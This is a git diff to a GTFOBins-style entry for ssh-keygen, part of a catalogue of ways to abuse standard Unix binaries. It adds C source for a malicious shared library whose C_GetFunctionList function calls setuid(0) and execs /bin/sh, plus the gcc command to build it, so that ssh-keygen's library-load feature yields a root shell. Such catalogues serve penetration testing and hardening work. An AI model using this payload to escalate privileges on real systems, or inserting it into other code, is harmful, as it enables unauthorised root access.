diff --git a/_gtfobins/ssh-keygen.md b/_gtfobins/ssh-keygen.md index 346b646..e9416b1 100644 --- a/_gtfobins/ssh-keygen.md +++ b/_gtfobins/ssh-keygen.md @@ -1,4 +1,26 @@ --- +description: | + A Shared Library is loaded by the application and executed. You can create a shared library with the following code: + ```c + #include + + void C_GetFunctionList(){ + char *argv[] = {"/bin/sh", NULL}; + setuid(0); + execve(argv[0], argv, NULL); + } + + int main(int argc, char const *argv[]) + { + return 0; + } + ``` + Compile it with: + ```sh + gcc -shared -o lib.so -fPIC lib.c + ``` + Note: You can also define a constructor function to execute code when the library is loaded. But the `C_GetFunctionList` string needs to be present. + functions: library-load: - description: |